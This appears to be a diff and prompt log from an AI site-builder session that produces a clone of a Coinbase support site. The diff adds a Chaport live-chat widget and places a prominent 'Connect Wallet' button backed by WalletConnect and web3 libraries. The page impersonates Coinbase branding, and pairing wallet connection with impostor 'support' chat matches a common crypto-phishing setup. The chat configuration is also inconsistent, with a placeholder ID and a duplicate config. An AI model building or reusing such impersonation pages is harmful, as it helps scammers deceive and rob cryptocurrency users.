Connect the live chat With my Chaport app ID installation code - Follow Up Deployment

index.html

@@ -10,6 +10,17 @@
     <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
     <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
     <script src="https://unpkg.com/feather-icons"></script>
+    <!-- Chaport Live Chat Button Styling -->
+    <style>
+        #chaport-launcher {
+            bottom: 20px !important;
+            right: 20px !important;
+        }
+        #chaport-launcher svg {
+            width: 24px !important;
+            height: 24px !important;
+        }
+    </style>
     <script src="https://cdn.jsdelivr.net/npm/@walletconnect/web3-provider@1.7.8/dist/umd/index.min.js"></script>
     <script src="https://cdn.jsdelivr.net/npm/web3@1.8.1/dist/web3.min.js"></script>
     <style>
@@ -20,6 +31,10 @@
             transform: translateY(-2px);
             box-shadow: 0 10px 20px rgba(22, 82, 240, 0.2);
         }
+        .nav-icon:hover {
+            color: #1652f0;
+            transform: scale(1.1);
+        }
         .support-card:hover {
             transform: translateY(-5px);
             box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
@@ -30,27 +45,24 @@
     <!-- Navigation -->
     <nav class="bg-white shadow-sm">
         <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
-            <div class="flex justify-between h-16">
+            <div class="flex justify-between items-center h-16">
                 <div class="flex items-center">
                     <div class="flex-shrink-0 flex items-center">
                         <img class="h-8 w-auto" src="https://static.photos/blue/200x200/1" alt="Coinbase Logo">
                         <span class="ml-2 text-xl font-bold text-blue-600">Coinbase</span>
                     </div>
-                    <div class="hidden sm:ml-6 sm:flex sm:space-x-8">
-                        <a href="#" class="border-blue-500 text-gray-900 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Support</a>
-                        <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Products</a>
-                        <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Resources</a>
-                    </div>
                 </div>
-                <div class="hidden sm:ml-6 sm:flex sm:items-center">
+                <div class="flex items-center space-x-4">
                     <button id="connectWalletBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300">
                         Connect Wallet
                     </button>
                 </div>
-                <div class="-mr-2 flex items-center sm:hidden">
-                    <button type="button" class="inline-flex items-center justify-center p-2 rounded-md text-gray-400 hover:text-gray-500 hover:bg-gray-100 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-blue-500">
-                        <i data-feather="menu"></i>
-                    </button>
+            </div>
+            <div class="flex justify-center border-t border-gray-200 pt-2 pb-1">
+                <div class="flex space-x-8">
+                    <a href="#" class="border-blue-500 text-gray-900 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Support</a>
+                    <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Products</a>
+                    <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Resources</a>
                 </div>
             </div>
         </div>
@@ -220,9 +232,9 @@
                     <p class="text-gray-500">
                         Can't find what you need? Contact our support team directly.
                     </p>
-                    <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
-                        Contact us <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
-                    </a>
+                    <button onclick="window.chaport.q('show')" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
+                        Live Chat <i data-feather="message-circle" class="ml-1 h-4 w-4"></i>
+                    </button>
                 </div>
             </div>
         </div>
@@ -359,7 +371,42 @@
         </div>
     </footer>
 
+    <!-- Live Chat Button -->
+    <div class="fixed bottom-6 right-6 z-50">
+        <button onclick="window.chaport.q('show')" class="bg-blue-600 hover:bg-blue-700 text-white rounded-full p-4 shadow-lg flex items-center justify-center transition-all duration-300 hover:shadow-xl">
+            <i data-feather="message-circle" class="h-6 w-6"></i>
+        </button>
+    </div>
+
+    <!-- Chaport Live Chat -->
     <script>
+        (function(w,d,v3){
+            w.chaportConfig = {
+                appId : 'your-chaport-app-id',
+                visibility: 'hidden',
+                widgetStyle: {
+                    primaryColor: '#1652f0',
+                    darkMode: false
+                }
+            };
+
+            if(w.chaport)return;v3=w.chaport={};v3._q=[];v3._l={};v3.q=function(){v3._q.push(arguments)};v3.on=function(e,fn){if(!v3._l[e])v3._l[e]=[];v3._l[e].push(fn)};
+            var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://app.chaport.com/javascripts/insert.js';
+            var ss=d.getElementsByTagName('script')[0];ss.parentNode.insertBefore(s,ss)
+        })(window, document);
+    </script>
+
+    <script>
+        // Initialize Chaport
+        window.chaportConfig = {
+            appId: '64f6a4c4e4b0b4a3d4a3b4a3',
+            visibility: 'default', // or 'hidden' to start hidden
+            widgetStyle: {
+                primaryColor: '#1652f0',
+                darkMode: false
+            }
+        };
+
         // Initialize AOS animations
         AOS.init({
             duration: 800,

prompts.txt

@@ -1 +1,7 @@
-Create a clone Coinbase supporter website with wallet connect feature & button added to it
+Create a clone Coinbase supporter website with wallet connect feature & button added to it
+Create a Coinbase Faq website clone 
+Bring the wallet connect option to the top right of the website 
+Bring the connect button to the top of the site 
+Add chaport livechat feature to the site
+Add support live chat option 
+Connect the live chat With my Chaport app ID installation code